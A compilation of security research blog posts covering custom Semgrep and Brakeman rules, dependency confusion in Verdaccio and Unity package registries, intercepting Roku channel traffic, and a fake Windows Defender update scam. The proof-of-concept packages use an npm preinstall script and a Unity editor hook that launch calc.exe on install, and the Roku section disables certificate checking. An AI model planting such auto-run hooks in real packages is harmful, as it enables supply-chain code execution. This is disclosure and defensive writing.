  - metavariable-regex:
      metavariable: '$CLASS'
      regex: '.*Controller'  
  message: |
  $CLASS does not use the login_required filter.
  severity: WARNING
  languages:
  - ruby

I ran the rule using the following command: semgrep --config=../../../semgrep/ | grep "does not use"

The final grep is necessary because Semgrep will print the matched patterns which, in this case, were the entire classes. There’s currently no option in Semgrep to show only a list of matching files without the actual matched patterns themselves. That made it difficult to see the list of affected controllers, so I used grep on the output to filter the patterns out. This rule resulted in 47 identified controllers. Creating this rule originally took about two hours including going through the tutorial and debugging the issues I ran into but now that the issues are fixed I expect it would take less time in future iterations.

Overall I think the rule is pretty self-explanatory — it finds all files that define a class then excludes the ones that have a login_required before filter. Check out the semgrep tutorial lessons if you’re unsure.

Brakeman

Brakeman has a wiki page which describes custom rule building, but it doesn’t have a lot of detail about what functionality is available to you. It gives examples of finding particular method calls and whether user input finds their ways into these calls. There’s no example of finding controllers.

The page didn’t give any more about what I wanted to do so I headed off to Brakeman’s folder of built-in rules in GitHub to see if there are any examples of something similar there. There is a CheckSkipBeforeFilter rule which is very similar to what I want — it checks whether the login_required callback is skipped with skip_before_filter. As mentioned, the app isn’t implemented that way, but it showed me how to iterate controllers and check before filters.

This got me most of the way there but I also needed to skip API controllers for this particular app’s architecture. After about an hour of tinkering and looking through Brakeman controller tracker code I had the following rule:

require 'brakeman/checks/base_check'

class Brakeman::CheckControllerWithoutAuthn < Brakeman::BaseCheck
  Brakeman::Checks.add self

  @description = "Checks for a controller without authN"

  def run_check
  controllers = tracker.controllers.select do |_name, controller|
      not check_filters controller
  end
  Hash[controllers].each do |name, controller|
    warn  :controller => name,
          :warning_type => "No authN",
          :warning_code => :basic_auth_password,
          :message => "No authentication for controller",
          :confidence => :high,
          :file => controller.file
  end
  end

# Check whether a non-api controller has a :login_required before_filter
  def check_filters controller
  return true if controller.parent.to_s.include? "ApiController"
  controller.before_filters.each do |filter|
      next unless call? filter
      next unless filter.first_arg.value == :login_required
      return true
  end
  return false
  end
end

Running it with brakeman --add-checks-path ../brakeman --enable ControllerWithoutAuthn -t ControllerWithoutAuthn resulted in 43 controllers without authentication — 4 fewer than Semgrep flagged.

Taking a close look at the controllers that Semgrep flagged and Brakeman did not, I realized the app is importing shared functionality from another module, which included a login_required filter. Therefore, Semgrep had 4 false positives that Brakeman did not flag. Since Semgrep works on individual files I don’t believe there’s an easy way to prevent those ones from being flagged.

Second custom rule: Verification of correct and complete authorization across functionality

The next case I wanted assurance on was vertical authorization at the API layer. ApiControllers in the webapp have a method authorization_permissions() which is called at the top of each derived class with a hash table of function_name/permission pairs. This function saves the passed hash table into an instance variable. ApiControllers have a before filter that, when any method is invoked, will look up the permission associated with the called method in the hash table and ensure that the user has the correct permission before proceeding.

Manual review was required to determine whether any methods had incorrect privileges, as analysis tools can’t understand business logic, but they can find methods entirely lacking authorization control — that was my goal for these rules.

Semgrep

Despite being seemingly a more complex scenario, this was still pretty straightforward in Semgrep:

rules:
- id: method-without-authz
  patterns:
  - pattern: |
    class $CONTROLLER < ApiController
        ...
        def $FUNCTION
          ...
        end
    ...
    end
  - pattern-not: |
    class $CONTROLLER < ApiController
        ...
        authorization_permissions ... :$FUNCTION => ...
        ...
        def $FUNCTION
          ...
        end
    ...
    end
  message: |
  Detected api controller $CONTROLLER which does not check for authorization for the $FUNCTION method
  severity: WARNING
  languages:
  - ruby

It finds all methods on ApiControllers then excludes the ones that have some authorization applied. Semgrep found seven controllers with missing authorization checks.

Brakeman

I struggled to make this one in Brakeman at first, even thinking it might not be possible. The Brakeman team kindly guided me towards Collection#options which contains all method calls invoked at the class level excluding some common ones like before_filter. The following rule grabs all ApiControllers, looks through their options for the call to authorization_permissions, then checks whether each controller method has an entry in the authorization_permissions hash.

require 'brakeman/checks/base_check'

class Brakeman::CheckApicontrollerWithoutAuthz < Brakeman::BaseCheck
  Brakeman::Checks.add self

  @description = "Checks for an ApiController without authZ"

  def run_check

  # Find all api controllers
  api_controllers = tracker.controllers.select do |_name, controller|
      is_apicontroller controller
  end

  # Go through all methods on all ApiControllers
  # and find if they have any methods that are not in the authorization matrix
  Hash[api_controllers].each do |name, controller|
    perms = controller.options[:authorization_permissions].first.first_arg.to_s

    controller.each_method do |method_name, info|
      if not perms.include? ":#{method_name})"
        warn  :controller => name,
              :warning_type => "No authZ",
              :warning_code => :basic_auth_password,
              :message => "No authorization check for #{name}##{method_name}",
              :confidence => :high,
              :file => controller.file
      end
    end
  end
  end

  def is_apicontroller controller
  # Only care about controllers derived from ApiController
  return controller.parent.to_s.include? "ApiController"
  end

end

Using this rule Brakeman found the same seven controllers with missing authorization as Semgrep.

Conclusion

So who is the winner of this showdown? For Ruby, both tools are valuable, there is no definitive winner in our comparison when we’re specificially talking about custom rules. Currently I think Semgrep edges out Brakeman a bit for writing quick and dirty custom checks on assessments, as it’s faster to get going but it does have slightly more false positives in our limited comparison testing.

Semgrep rules are fairly intuitive to write and self explanatory; Brakeman requires additional understanding by looking into its source code to understand its architecture and also there is the need to use existing rules as a guide. After creating a few Brakeman rules it gets a lot easier, but the initial learning curve was a bit higher than other SAST tools. However, Brakeman has some sophisticated features that Semgrep does not, especially the user-input tracing functionality, that weren’t really shown in these examples. If some dangerous function is identified and you need to see if any user input gets to it (source/sink flow), that is a great Brakeman use case. Also, Brakeman’s default ruleset is great and I use them on every Rails test I do.

Ultimately Semgrep and Brakeman are both great tools with quirks and particular use-cases and deserve to be in your arsenal of SAST tooling. Enormous thanks to both Clint from the Semgrep team and Justin the creator of Brakeman for providing feedback on this post!

The post Custom Static Analysis Rules Showdown: Brakeman vs. Semgrep appeared first on Include Security Research Blog.

Dependency Confusion: When Are Your npm Packages Vulnerable?

This post follows up on the recent blog post by Alex Birsan which highlighted serious problems with how some programming language package managers (npm, RubyGems, and Python’s pip) resolve and install dependencies. Alex described possible causes for pip and RubyGems, but the details regarding npm were a bit less clear so we sought to help our clients and the greater security & tech communities with the information below. In this post we’ll go beyond the tidbits of what’s been discussed thus far and get into the details of this type of attack in npm.

We’ll cover dependency confusion in npm and how to remediate this security concern in Verdaccio; the most popular self-hosted npm package indexes/registries based on stars on GitHub. In short, Verdaccio allows developers and organizations to host their own software packages to be included as dependencies in projects. This allows the organization to keep proprietary, non-public code on their own servers and only download public libraries when needed.

Here’s a quick summary for those that want to skip the technical details:

  • Dependency Confusion vulnerabilities within npm appear to be related to unsafe default behavior within private registry servers for internal packages (vs. within npm itself)
  • As an example, Verdaccio proxies to npmjs.org (the public registry) for updates to internally published packages, opening up developers using this registry to Dependency Confusion attacks
  • To mitigate security concerns related to dependency confusion for those using the Verdaccio self-hosted npm package index, IncludeSec has found that modifying the Verdaccio configuration so that no internal packages are proxied can mitigate risk (see example below). Other self-hosted npm registries should be reviewed to assess for similar behavior. Other examples of self-hosted private registries that we haven’t explored yet are cnpm, npm-register, and sinopia. Sinopia is the pre-fork origin of Verdaccio and likely has the same behaviors.
  • If you think you might be vulnerable to Dependency Confusion, Confused is an excellent tool for detecting unclaimed package names in your projects. Running it is as simple as pointing it to your local package.json:
C:\Users\nick\Documents\vuln-app>confused package.json
Issues found, the following packages are not available in public package repositories:
 [!] includesec-dependency-confusion

Note: The concept of dependency proxying is an expected default feature in Verdaccio and not considered to be a vulnerability by the package maintainer team. Verdaccio recommends reading the best practices guide and applying these mitigations prior to deploying the registry in your environment. That being said, IncludeSec always recommends secure-by-default configurations and “make it hard to shoot yourself in the foot” application behavior for Verdaccio and all software designs. For example: dangerouslySetInnerHTML() in React lets a tech team know they’re doing something that could be very wrong.

Dependency Confusion in npm

In the case of pip and RubyGems, one of the potential root causes was support for split package indexes. This causes the package manager to check both internal indexes as well as public ones, and install whichever package has the highest version number. This means an attacker can claim the package name on the public index if the organization has not yet done so and publish a malicious package with a high version number, causing the clients to install the malicious version when installing dependencies for a package. 

npm is notably different from pip and RubyGems, as there is no built-in support for split package indexes. When running npm install or npm update to install dependencies, only one registry is ever checked and used to download packages. So why is npm vulnerable to this attack? 

The answer is: npm itself isn’t, but a private package registry server might be!

Case Study: Verdaccio

Verdaccio is one example of a popular, open-source npm registry which organizations can use to self-host internal packages. Here we used Verdaccio as a case study to provide a specific real-world demonstration about this vulnerability and some ways to mitigate it. 

To create an example of this vulnerability, the following simple package was created and version 1.0.0 was published to a local Verdaccio instance:

{
    "name": "includesec-dependency-confusion",
    "version": "1.0.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

Below is the package.json file for a basic application that depends on the vulnerable package:

{
    "name": "vuln-app",
    "version": "1.0.0",
    "description": "A small app to demonstrate dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT",
    "dependencies": {
      "express": "^4.17.1",
      "includesec-dependency-confusion": "^1.0.0"
    }
  }

The ^ operator in the version number tells npm only to install versions compatible with 1.0.0, which means any version > 2.0.0 would be ignored when updating. This would prevent an attacker from exploiting this vulnerability by uploading a package with version 99.0.0, although version 1.99.0 would still work.

Now, when the dependencies are installed with npm install, Verdaccio checks for the package at https://registry.npmjs.org even if it’s hosted locally, as shown in the HTTP request and response below:

GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close

HTTP/1.1 404 Not Found
Date: Tue, 16 Feb 2021 14:38:39 GMT
Content-Type: application/json
Content-Length: 21
Connection: close
Age: 44
Vary: Accept-Encoding
Server: cloudflare

{"error":"Not found"}

This suggests that Verdaccio uses a split index approach to resolve package updates by default, even though the user’s local npm client doesn’t. To confirm this, the following malicious version of the package was published to the public npmjs registry:

{
    "name": "includesec-dependency-confusion",
    "version": "1.1.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1",
      "preinstall": "c:\\windows\\system32\\calc.exe"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

Note that this proof-of-concept uses a preinstall script to execute the payload, which will cause it to be executed even if the installation fails or the application is never actually run. Now when a client updates the dependencies with npm update or installs them with npm install, Verdaccio will check the public npmjs.org registry, download the latest (malicious) version of the package, and serve it to the user, causing the calculator payload to execute:

GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close

HTTP/1.1 200 OK
Date: Tue, 16 Feb 2021 14:51:39 GMT
Content-Type: application/json
Connection: close

…

  "time":{
     "created":"2021-02-16T14:50:23.935Z",
     "1.1.0":"2021-02-16T14:50:24.067Z",
     "modified":"2021-02-16T14:50:27.035Z"
  },
  "maintainers":[
     {
        "name":"njf-include",
        "email":"[email protected]"
     }
  ],
  "description":"DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
  "author":{
     "name":"Nick Fox"
  },
  "license":"MIT",
  "readme":"ERROR: No README data found!",
  "readmeFilename":""
}

The following screenshot shows the malicious payload being executed on the client:

As shown above, the default behavior on Verdaccio (and likely other self-hosted npm registry solutions,) is to proxy to the public npmjs registry for package updates, even if those packages are already hosted internally. The following snippet from the default configuration file confirms this:

https://github.com/verdaccio/verdaccio/blob/master/conf/default.yaml#L62

packages:

    ...
    
      '**':
        # allow all users (including non-authenticated users) to read and
        # publish all packages
        #
        # you can specify usernames/groupnames (depending on your auth plugin)
        # and three keywords: "$all", "$anonymous", "$authenticated"
        access: $all
    
        # allow all known users to publish/publish packages
        # (anyone can register by default, remember?)
        publish: $authenticated
        unpublish: $authenticated
    
        # if package is not available locally, proxy requests to 'npmjs' registry
        proxy: npmjs

The comment at the bottom might seem a bit misleading. This configuration causes Verdaccio to proxy requests to the npmjs registry for everything, even if the package is already published locally (as demonstrated above).

Mitigation on Verdaccio

So how can this be mitigated? The documentation provides an example configuration for disabling the npmjs proxy for specific packages:

https://verdaccio.org/docs/en/packages#blocking-proxying-a-set-of-specific-packages

packages:
    'jquery':
      access: $all
      publish: $all
    'my-company-*':
      access: $all
      publish: $authenticated
    '@my-local-scope/*':
      access: $all
      publish: $authenticated
    '**':
      access: $all
      publish: $authenticated
      proxy: npmjs

This configuration disables proxying for the “jquery”, “my-company-*”, and “@my-local-scope” packages and scopes, therefore mitigating dependency confusion vulnerabilities in those packages. Applying this to the proof-of-concept application, the following configuration will do:

packages:
    'includesec-dependency-confusion':
      access: $all
      publish: $authenticated
      unpublish: $authenticated
  
  ...
  
    '**':
      access: $all
      publish: $authenticated
      unpublish: $authenticated
      proxy: npmjs

After making this change and restarting Verdaccio, the following HTTP request and response triggered by npm update show that only the correct, internal version 1.0.0 of the package is installed:

GET /includesec-dependency-confusion HTTP/1.1
npm-in-ci: false
user-agent: npm/7.5.1 node/v15.8.0 win32 x64
pacote-version: 11.2.4
pacote-req-type: packument
pacote-pkg-id: registry:includesec-dependency-confusion
accept: application/vnd.npm.install-v1+json; q=1.0, application/json; q=0.8, */*
npm-command: update
Connection: close
Accept-Encoding: gzip, deflate
Host: localhost:4873

HTTP/1.1 200 OK
X-Powered-By: verdaccio/4.11.0
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Date: Tue, 16 Feb 2021 15:29:20 GMT
Connection: close
Content-Length: 1267

{
  "name": "includesec-dependency-confusion",
  "versions": {
    "1.0.0": {
      "name": "includesec-dependency-confusion",
      "version": "1.0.0",
      "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
      "main": "index.js",
      "scripts": {
        "test": "echo \"Error: no test specified\" && exit 1"
      },

     … 

  "dist-tags": {
    "latest": "1.0.0"
  },
  "_rev": "3-dc1db45b944128de",
  "_id": "includesec-dependency-confusion",
  "readme": "ERROR: No README data found!",
  "_attachments": {}
}

Additional Mitigation Steps

This post from GitHub breaks down the steps needed to mitigate Dependency Confusion vulnerabilities, and modifying the Verdaccio configuration as we’ve shown in this post handles one of their guidance steps: Step 3 – Take care when proxying. Ensuring all internal packages are scoped also helps mitigate these attacks. Scoped packages are those prefixed with @username — only the registry user with that username is allowed to publish packages under that scope, so an attacker would have to compromise that npmjs.org registry account in order to claim packages. Below is an example of a scoped package:

{
    "name": "@includesec/dependency-confusion",
    "version": "1.0.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

When using Verdaccio, this also has the benefit of making it easy to disable proxying for all packages within your organization’s scope, instead of having to declare each package separately.

packages:
    '@includesec/*':
      access: $all
      publish: $authenticated
    '**':
      access: $all
      publish: $authenticated
      proxy: npmjs

See this whitepaper from Microsoft (Secure Your Hybrid Software Supply Chain) for information about other possible mitigations.

Summary

This post explores one potential root cause of Dependency Confusion vulnerabilities within the npm ecosystem–that is, unsafe default behavior within the private registry server being used. For example, Verdaccio proxies to npmjs.org for updates to internally published packages by default, which opens up developers to Dependency Confusion attacks when internal package names have not been claimed on the public registry.

To mitigate this issue, IncludeSec recommends modifying the Verdaccio configuration so that no internal packages are proxied. Other self-hosted npm registries should be reviewed to ensure similar behavior.

Additionally, internal packages should be scoped to make it more difficult for an adversary to claim the package names on public registries.

Also stay tuned; we’ll probably update this post soon with a v2 of how to integrate the “confused” tool into a CI/CD pipeline!

The post Dependency Confusion: When Are Your npm Packages Vulnerable? appeared first on Include Security Research Blog.

New School Hacks: Test Setup for Hacking Roku Channels Written in Brightscript

30 March 2021 at 18:00

We were recently asked by one of our clients (our day job at IncludeSec is hacking software of all types) to take a look at their Roku channel. For those unfamiliar Roku calls apps for their platform “channels”. We haven’t seen too many Roku channel security reviews and neither has the industry as there isn’t much public information about setting up an environment to conduct a security assessment of a Roku channel.

The purpose of this post was to be a practical guide rather than present any new 0day, but stay tuned to the end of the post for application security tips for Roku channel developers. Additionally we did run this post by the Roku security team and we thank them for taking the time to review our preview.

Roku channels are scripted in Brightscript, a scripting language created specifically for media heavy Roku channels that is very similar syntax wise to our old 90s friend Visual Basic. A sideloaded Roku channel is just a zip file containing primarily Brightscript code, XML documents describing application components, and media assets. These channels operate within a Sandbox similar to Android apps. Due to the architecture of a sandboxed custom scripting language, Roku channels’ access to Roku’s Linux-based operating system, and to other channels on the same Roku device is limited. Channels are encrypted and signed by the developer (on Roku hardware) and distributed through Roku’s infrastructure, so users generally don’t have access to channel packages unlike APKs on Android.

The Brightscript language as well as channel development are well documented by Roku. Roku hardware devices can be put in a developer mode by entering a cheat code sequence which enables sideloading as well as useful features such as a debugger and remote control over the network. You’ll need these features as they’ll be very useful when exploring attacks against Roku channels.

You’ll also want to use the Eclipse Brightscript plugin as it is very helpful when editing or auditing Brightscript code. If you have access to a channel’s source code you can easily import it into Eclipse by creating a new Eclipse project from the existing code, and use the plugin’s project export dialog to re-package the channel and install it to a local Roku device in development mode.

Getting Burp to Work With Brightscript

As with most embedded or mobile type of client applications one of the first things we do when testing a new platform that is interacting with the web is to get HTTP requests running through Burp Suite. It is incredibly helpful in debugging and looking for vulnerabilities to be able to intercept, inspect, modify, and replay HTTP requests to a backend API. Getting a Roku channel working through Burp involves redirecting traffic destined to the backed API to Burp instead, and disabling certificate checking on the client. Note that Roku does support client certificates but this discussion doesn’t involve bypassing those, we’ll focus on bypassing client-side checks of server certificates for channels where the source code is available which is the situation we have with IncludeSec’s clients.

Brightscript code that makes HTTP requests uses Brightscript’s roUrlTransfer object. For example, some code to GET example.com might look like this:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("common:/certs/ca-bundle.crt")
urlTransfer.SetUrl("https://example.com/")<br>s = urlTransfer.GetToString()

To setup an easy intercept environment I like to use the create_ap script from https://github.com/lakinduakash/linux-wifi-hotspot to quickly and easily configure hostapd, dnsmasq, and iptables to set up a NAT-ed test network hosted by a Linux machine. There are many ways to perform the man-in-the-middle to redirect requests to Burp, but I’m using a custom hosts file in the dnsmasq configuration to redirect connections to the domains I’m interested in (in this case example.com) to my local machine, and an iptables rule to redirect incoming connections on port 443 to Burp’s listening port.


Here’s starting the WIFI AP:

# cat /tmp/test-hosts<br>192.168.12.1 example.com
# create_ap -e /tmp/test-hosts $AP_NETWORK_INTERFACE $INTERNET_NETWORK_INTERFACE $SSID $PASSWORD

And here’s the iptables rule:

# iptables -t nat -A PREROUTING -p tcp --src 192.168.12.0/24 --dst 192.168.12.1 --dport 443 -j REDIRECT --to-port 8085

In Burp’s Proxy -> Options tab, I’ll add the proxy listener listening on the test network ip on port 8085, configured for invisible proxying mode:

https://i1.wp.com/1.bp.blogspot.com/-k6-BJdBuClo/YCGaPd4k0uI/AAAAAAAAARs/TNGXncPqBLoIjt7dqlqLQqvnUwzDO5zogCLcBGAsYHQ/s2884/burp1.png?w=1200&ssl=1

Next, we need to bypass the HTTPS certificate check that will cause the connection to fail. The easiest way to do this is to set EnablePeerVerification to false:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("common:/certs/ca-bundle.crt")
urlTransfer.EnablePeerVerification(false)
urlTransfer.SetUrl("https://example.com/")
s = urlTransfer.GetToString()

Then, re-build the channel and sideload it on to a Roku device in developer mode. Alternatively we can export Burp’s CA certificate, convert it to PEM format, and include that in the modified channel.

This converts the cert from DER to PEM format:

$ openssl x509 -inform der -in burp-cert.der -out burp-cert.pem

The burp-cert.pem file needs to be added to the channel zip file, and the code below changes the certificates file from the internal Roku file to the burp pem file:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("pkg:/burp-cert.pem")
urlTransfer.SetUrl("https://example.com/")
s = urlTransfer.GetToString()

It’s easy to add the certificate file to the package when exporting and sideloading using the BrightScript Eclipse plugin:

https://i2.wp.com/1.bp.blogspot.com/-KQUykpVEqIo/YCGajAySThI/AAAAAAAAAR0/9TmpYDKEH7U-X00uyl23AB8pMgxYzwUawCLcBGAsYHQ/s1877/export1.png?w=1200&ssl=1

Now the request can be proxied and shows up in Burp’s history:

https://i2.wp.com/1.bp.blogspot.com/-4nxRsQ9d_eI/YCGannkRoNI/AAAAAAAAAR4/KPQGUnI6hv8ZpFUBiJ9HvrdW0XPwVG_kwCLcBGAsYHQ/s2048/burp-history1.png?w=1200&ssl=1

With that you’re off to the races inspecting and modifying traffic of your Roku channel assessment subject. All of your usual fat client/android app techniques for intercepting and manipulating traffic applies. You can combine that with code review of the BrightScript itself to hunt for interesting security problems and don’t discount privacy problems like unencrypted transport or over collection of data.

For BrightScript developers who may be worried about people using these types of techniques here are our top five tips for coding secure and privacy conscious channels:

  1. Only deploy what you need in a channel, don’t deploy debug/test code.
  2. Consider that confidentiality of the file contents of your deployed channel may not be a given. Don’t hard code secret URLs, tokens, or other security relevant info in your channel or otherwise an attacker will not have access to the client-side code.
  3. Don’t gather/store/send more personal information than is absolutely necessary and expected by your users.
  4. Encrypt all of your network connections to/from your channel and verify certificates. Nothing should ever be in plain text HTTP.
  5. Watch out for 3rd parties. User tracking and other personal data sent to 3rd parties can be come compliance and legal nightmares, avoid this and make your business aware of the possible ramifications if they chose to use 3rd parties for tracking.

Hopefully this post has been useful as a quick start for those interested in exploring the security of Roku channels and Brightscript code. Compared to other similar platforms, Roku is relatively locked down with it’s own scripting language and sandboxing. They also don’t have much user controllable input or a notable client-side attack surface area, but channels on Roku and apps on other platforms generally have to connect to backend web services, so running those connections through Burp is a good starting point to look for security and privacy concerns.

Further research into the Roku platform itself is also on the horizon…perhaps there will be a Part 2 of this post? 🙂

The post New School Hacks: Test Setup for Hacking Roku Channels Written in Brightscript appeared first on Include Security Research Blog.

Dependency Confusion Vulnerabilities in Unity Game Development

The Unity game engine has a package manager which allows packaged code and assets to be imported into a game, with dependencies automatically handled. Originally this was used only for Unity-produced packages, such as the GUI system. Later Unity began allowing private registries so that game studios can maintain their own internal packages. Because of the recent hubbub about dependency confusion vulnerabilities, I wondered whether Unity developers and game studios using private package registries might be vulnerable?

First, if you’re unfamiliar with dependency confusion vulnerabilities, you may want to check out the original article about the topic and our blog post about how to mitigate it in Verdaccio (the most popular private registry server.) Essentially it is a vulnerability where an attacker overrides what was meant to be a private internal package by publishing a package of the same name on a public package registry with a larger version number. This allows the attacker to execute code on the machine of anyone who imports the package.

Unity package registries, referred to as UPM, work using the same protocol as the Node package manager (NPM). A note on their documentation reads:

Warning: When you set up your own package registry server, make sure you only use features that are compatible with Unity’s Scoped Registries. For example, Unity doesn’t support namespaces using the @scope notation that npm supports.

Since namespaced packages are one of the primary defenses against dependency confusion, this was a little concerning. In our recent blog post about dependency confusion and Verdaccio, IncludeSec researcher Nick Fox found that by default, Verdaccio will search both locally and in the public NPM registry for packages, and then choose whichever has a higher version. Can Unity packages be published to the public NPM registry? Indeed, there are several of them. Is it possible to use this to induce dependency confusion in Unity? I endeavored to find out!

Before we continue further we wanted to note that a preview of this blog post was shared with the Unity security team, we thank them for their review and internal effort to update customer facing documentation as a result of our research. Unity formerly recommended using Verdaccio to host private registries, but as of Apr 27 2021 the current documentation no longer recommends a specific registry server hence the setup (and risk!) of standing up a private registry falls on the responsibility of a game studio’s IT department. However, most teams are still likely to use Verdaccio, so this blog post will use it for testing. Other registry servers may have similar proxying behavior. Below we’ll walk through how this situation can be exploited.

Creating a normal private package

First I wanted to create a normal package to publish on my local Verdaccio registry, then I will make a malicious one to try to override it. My normal package contains the following files

includesec.jpeg
includesec.jpeg.meta
package.json

includesec.jpeg is just a normal texture file (the IncludeSec logo). The package.json looks like:

{
  "name": "com.includesecurity.unitypackage",
  "displayName": "IncludeSec logo",
  "version": "1.0.0",
  "unity": "2018.3",
  "description": "IncludeSec logo",
  "keywords": [ ],
  "dependencies": {}
}

I published it to my local Verdaccio registry like this:

NormalPackage$ npm publish --registry http://127.0.0.1:4873
npm notice
npm notice 📦  [email protected]
npm notice === Tarball Contents ===
npm notice 20.5kB includesec.jpeg
npm notice 212B   package.json
npm notice 2.1kB  includesec.jpeg.meta
npm notice === Tarball Details ===
npm notice name:          com.includesecurity.unitypackage
npm notice version:       1.0.0
npm notice package size:  19.8 kB
npm notice unpacked size: 22.8 kB
npm notice shasum:        db99c51277d43ac30c6e5bbf166a6ef16815cf70
npm notice integrity:     sha512-OeNVhBgi5UxEU[...]sm+TlgkitJUDQ==
npm notice total files:   3
npm notice
+ [email protected]

Installing in Unity

The Unity documentation describes how to set up private registries, involving adding some lines to Packages/manifest.json. My Packages/manifest.json file looks like the following:

{
    "scopedRegistries": [{
        "name": "My internal registry",
        "url": "http://127.0.0.1:4873",
        "scopes": [
          "com.includesecurity"
        ]
    }],
      "dependencies": {
          ...
      }
}

The above configuration will cause any packages whose name begins with com.includesecurity to use the private registry at http://127.0.0.1:4873 (documentation about Unity scoped registry behavior can be found here). The package I uploaded previously now shows up in the Unity Package Manager window under “My Registries”:

Creating a malicious package

The next step is creating a malicious package with the same name but a higher version, and uploading it to the public NPM registry. I created a malicious package containing the following files:

com.includesecurity.unitypackage.asmdef
com.includesecurity.unitypackage.asmdef.meta
Editor/
Editor/com.includesecurity.unitypackage.editor.asmref
Editor/com.includesecurity.unitypackage.editor.asmref.meta
Editor/MaliciousPackage.cs
Editor/MaliciousPackage.cs.meta
Editor.meta
package.json
package.json.meta

Below is MaliciousPackage.cs which will run a “malicious” command when the package is imported:

using UnityEngine;
using UnityEditor;

[InitializeOnLoad]
public class MaliciousPackage {
    static MaliciousPackage()
    {
        System.Diagnostics.Process.Start("cmd.exe", "/c calc.exe");
    }
}

I also had to set up some assemblies so that the package would run in editor mode — that’s what the asmdef/asmref files are.

Finally I set up a package.json as follows. Note it has the same name but a higher version than the one published to my local Verdaccio registry. The higher version will cause it to override the local one:

{
  "name": "com.includesecurity.unitypackage",
  "displayName": "Testing",
  "version": "2.0.1",
  "unity": "2018.3",
  "description": "For testing purposes -- do not use",
  "keywords": [ ],
  "dependencies": {}
}

Results

I uploaded the malicious package to the public NPM registry. The Unity package manager now looked like:

Uh oh. It’s showing the malicious package uploaded to the public repository instead of the one uploaded to the private repository. What happens now when I import the package into Unity?

It turns out Unity games using private package registries can be vulnerable to dependency confusion. A game studio that uses a private package registry configured to also pull from the public npmjs registry (which is the default configuration of Verdaccio) is vulnerable. An attacker who knows or guesses any of that team’s private package names could upload one with a higher version to the public registry and cause code to be run on developer machines (as well as conceivably being packaged into the final game builds).

Note that I tested and this does not affect the default Unity-hosted packages — only packages on a private registry.

Mitigation

How can a game developer ensure this isn’t a security concern for them? Because the Unity package manager client doesn’t support package namespaces, the standard way of preventing this attack doesn’t work with Unity. Instead, mitigations have to be applied at the package registry server level. IncludeSec researcher Nick Fox provided excellent information about how to do this for Verdaccio on our previous blog post on dependency confusion in private NPM indexes. In general, whatever package registry server is being used, it should be configured to either:

  1. Not pull from the public NPM registry at all, or…
  2. If access to the public registry is desired, then the internal packages should be prefixed with a certain string (such as “com.studioname”) and the server should be configured not to pull any packages with that prefix from the public NPM registry

The post Dependency Confusion Vulnerabilities in Unity Game Development appeared first on Include Security Research Blog.

Scammers Impersonating Windows Defender to Push Malicious Windows Apps

17 May 2021 at 21:25

Summary points:

  • Scammers are increasingly using Windows Push Notifications to impersonate legitimate alerts
  • Recent campaigns pose as a Windows Defender Update
  • Victims end up allowing the installation of a malicious Windows Application that targets user and system information

Browser push notifications can highly resemble Windows system notifications.  As recently discussed, scammers are abusing push notifications to trick users into taking action.  This recent example demonstrates the social engineering tactics used to trick users into installing a fake Windows Defender update.  A toaster popup in the tray informs the user of a Windows Defender Update.

Clicking the message takes the user to a fake update website.

The site serves a signed ms-appinstaller (MSIX) package.  When downloaded and run, the user is prompted to install a supposed Defender Update from “Publisher: Microsoft”

After installation, the “Defender Update” App appears in the start menu like other Windows Apps.

The shortcut points to the installed malware: C:\Program Files\WindowsApps\245d1cf3-25fc-4ce1-9a58-7cd13f94923a_1.0.0.0_neutral__7afzw0tp1da5e\bloom\Eversible.exe, which is a data stealing trojan, targeting various applications and information:

  • System information (Process list, Drive details, Serial number, RAM, Graphics card details)
  • Application profile data (Chrome, Exodus wallet, Ethereum wallet, Opera, Telegram Desktop)
  • User data (Credit card, FileZilla)

Am I protected?

  • McAfee customers utilizing Real Protect Cloud were proactively protected from this threat due to machine learning.
  • McAfee customers utilizing web protection (including McAfee Web Advisor and McAfee Web Control) are protected from known malicious sites.
  • McAfee Global Threat Intelligence (GTI) provides protection at Very Low sensitivity

General safety tips

  • See: How to Stop the Popups
  • Scams can be quite convincing. It’s better to be quick to block something and slow to allow than the opposite.
  • When in doubt, initiate the communication yourself.
    • For Windows Updates, click the Start Menu and type “Check For Updates”, click the System Settings link.
    • Manually enter in a web address rather than clicking a link sent to you.
    • Confirm numbers and addresses before reaching out, such as phone and email.

Reference IOCs

  • MSIX installer: 02262a420bf52a0a428a26d86aca177796f18d1913b834b0cbed19367985e190
  • exe: 0dd432078b93dfcea94bec8b7e6991bcc050e6307cd1cb593583e7b5a9a0f9dc
  • Installer source site: updatedefender [dot] online

 

The post Scammers Impersonating Windows Defender to Push Malicious Windows Apps appeared first on McAfee Blog.

Reverse Engineering & Exploiting Dell CVE-2021-21551

By: voidsec
19 May 2021 at 14:56

At the beginning of the month, Sentinel One disclosed five high severity vulnerabilities in Dell’s firmware update driver. As the described vulnerability appeared not too complicated to exploit, a lot of fellow security researchers started weaponizing it. I was one of, if not the first tweeting about weaponizing it into a _SEP_TOKEN_PRIVILEGES overwrite exploit, and […]

